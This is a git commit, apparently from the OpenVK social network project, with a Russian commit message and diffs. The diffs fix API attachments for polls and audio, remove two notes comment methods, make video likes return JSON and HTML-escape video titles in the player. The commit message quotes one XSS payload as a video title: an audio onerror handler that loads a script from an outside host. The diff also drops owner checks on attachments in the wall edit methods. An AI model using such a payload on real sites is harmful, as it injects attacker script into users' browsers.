Some api fixes

- Теперь опросы прикрепляются через апи нормально
- Через wall.edit теперь можно прикреплят новые аудио
- При закрытии messagebox снова включается возможность скроллить
- Через методы редактирования можно теперь прикреплять чужие хуйни
- Удалены методы notes.deleteComment и notes.editComment, ведь они одинаковы с wall.deleteComment и wall.editComment
- Лайки у видеозаписей теперь быстрее, ведь не прогружают новую страницу (в отличии от лайков на посте)
- Название "<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"" больше не вызывает краш оконного плеера
This commit is contained in:
lalka2018 2023-11-15 17:45:55 +03:00
parent 9e7467ed97
commit 704fdb113b
7 changed files with 17 additions and 47 deletions

View file

@ -118,21 +118,6 @@ final class Notes extends VKAPIRequestHandler
return 1;
}
function deleteComment(int $comment_id, int $owner_id = 0)
{
$this->requireUser();
$this->willExecuteWriteAction();
$comment = (new CommentsRepo)->get($comment_id);
if(!$comment || !$comment->canBeDeletedBy($this->getUser()))
$this->fail(403, "Access to comment denied");
$comment->delete();
return 1;
}
function edit(string $note_id, string $title = "", string $text = "", int $privacy = 0, int $comment_privacy = 0, string $privacy_view = "", string $privacy_comment = "")
{
$this->requireUser();
@ -159,23 +144,6 @@ final class Notes extends VKAPIRequestHandler
return 1;
}
function editComment(int $comment_id, string $message, int $owner_id = NULL)
{
$this->requireUser();
$this->willExecuteWriteAction();
$comment = (new CommentsRepo)->get($comment_id);
if($comment->getOwner()->getId() != $this->getUser()->getId())
$this->fail(15, "Access to comment denied");
$comment->setContent($message);
$comment->setEdited(time());
$comment->save(true);
return 1;
}
function get(int $user_id, string $note_ids = "", int $offset = 0, int $count = 10, int $sort = 0)
{
$this->requireUser();

View file

@ -513,6 +513,8 @@ final class Wall extends VKAPIRequestHandler
$this->fail(100, "Poll does not exist");
if($attacc->getOwner()->getId() != $this->getUser()->getId())
$this->fail(43, "You do not have access to this poll");
$post->attach($attacc);
} elseif($attachmentType == "audio") {
$attacc = (new AudiosRepo)->getByOwnerAndVID($attachmentOwner, $attachmentId);
if(!$attacc || $attacc->isDeleted())
@ -864,7 +866,7 @@ final class Wall extends VKAPIRequestHandler
$this->fail(158, "Post will have too many attachments");
foreach($attachs as $attach) {
if($attach && !$attach->isDeleted() && $attach->getOwner()->getId() == $this->getUser()->getId())
if($attach && !$attach->isDeleted())
$post->attach($attach);
else
$this->fail(52, "One of the attachments is invalid");
@ -908,7 +910,7 @@ final class Wall extends VKAPIRequestHandler
$this->fail(158, "Post will have too many attachments");
foreach($attachs as $attach) {
if($attach && !$attach->isDeleted() && $attach->getOwner()->getId() == $this->getUser()->getId())
if($attach && !$attach->isDeleted())
$comment->attach($attach);
else
$this->fail(52, "One of the attachments is invalid");

View file

@ -151,6 +151,6 @@ final class VideosPresenter extends OpenVKPresenter
$video->toggleLike($this->user->identity);
}
$this->redirect("$_SERVER[HTTP_REFERER]");
$this->returnJson(["success" => true]);
}
}

View file

@ -154,12 +154,7 @@ body.dimmed > .dimmer {
background: white;
padding-right: 6px;
max-height: 400px;
overflow-y: scroll;
}
/* Работает только в хроме, потому что в фурифоксе до сих пор нет кастомных скроллбаров лул */
.left_block::-webkit-scrollbar {
width: 0;
overflow-y: auto;
}
.right_block {

View file

@ -558,7 +558,7 @@ $(document).on("click", "#videoOpen", async (e) => {
`
} else {
player = `
<div class="bsdn media" data-name="${videoObj.title}" data-author="${videoObj.name}">
<div class="bsdn media" data-name="${escapeHtml(videoObj.title)}" data-author="${escapeHtml(videoObj.name)}">
<video class="media" src="${videoObj.url}"></video>
</div>`
}
@ -586,7 +586,7 @@ $(document).on("click", "#videoOpen", async (e) => {
<div class="top-part">
<span class="top-part-name">${escapeHtml(videoObj.title)}</span>
<div class="top-part-buttons">
<span class="clickable" id="minimizePlayer" data-name="${videoObj.title}" data-id="${videoObj.id}">${tr("hide_player")}</span>
<span class="clickable" id="minimizePlayer" data-name="${escapeHtml(videoObj.title)}" data-id="${videoObj.id}">${tr("hide_player")}</span>
<span>|</span>
<span class="clickable" id="closeFplayer">${tr("close_player")}</span>
</div>
@ -655,8 +655,6 @@ $(document).on("click", "#videoOpen", async (e) => {
let oldPlayer = document.querySelector(".miniplayer-video .fplayer")
let newPlayer = document.querySelector(".top-part-player-subdiv")
document.querySelector(".top-part-player-subdiv")
newPlayer.append(oldPlayer)
}

View file

@ -1,6 +1,6 @@
Function.noop = () => {};
function MessageBox(title, body, buttons, callbacks, removeDimmedOnExit = true) {
function MessageBox(title, body, buttons, callbacks) {
if(u(".ovk-diag-cont").length > 0) return false;
document.querySelector("html").style.overflowY = "hidden"
@ -21,8 +21,9 @@ function MessageBox(title, body, buttons, callbacks, removeDimmedOnExit = true)
button.on("click", function(e) {
let __closeDialog = () => {
if(removeDimmedOnExit) {
if(document.querySelector(".ovk-photo-view-dimmer") == null && document.querySelector(".ovk-fullscreen-player") == null) {
u("body").removeClass("dimmed");
document.querySelector("html").style.overflowY = "scroll"
}
u(".ovk-diag-cont").remove();

View file

@ -244,6 +244,8 @@ function parseAttachments(string $attachments)
$attachmentType = "video";
elseif(str_contains($attachment, "note"))
$attachmentType = "note";
elseif(str_contains($attachment, "audio"))
$attachmentType = "audio";
$attachmentIds = str_replace($attachmentType, "", $attachment);
$attachmentOwner = (int)explode("_", $attachmentIds)[0];
@ -262,6 +264,10 @@ function parseAttachments(string $attachments)
$attachmentObj = (new openvk\Web\Models\Repositories\Notes)->getNoteById($attachmentOwner, $attachmentId);
$returnArr[] = $attachmentObj;
break;
case "audio":
$attachmentObj = (new openvk\Web\Models\Repositories\Audios)->getByOwnerAndVID($attachmentOwner, $attachmentId);
$returnArr[] = $attachmentObj;
break;
}
}